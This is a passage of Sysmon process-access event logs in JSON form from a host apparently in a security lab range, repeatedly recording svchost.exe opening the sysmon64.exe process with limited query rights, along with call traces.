C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.750","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1468,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.766\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.766","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1469,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.766\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.766","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1470,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.766\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.766","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1471,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.766\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.766","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1472,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.766\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.766","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1473,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.766\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.766","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1474,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.766\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.766","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1475,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.766\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 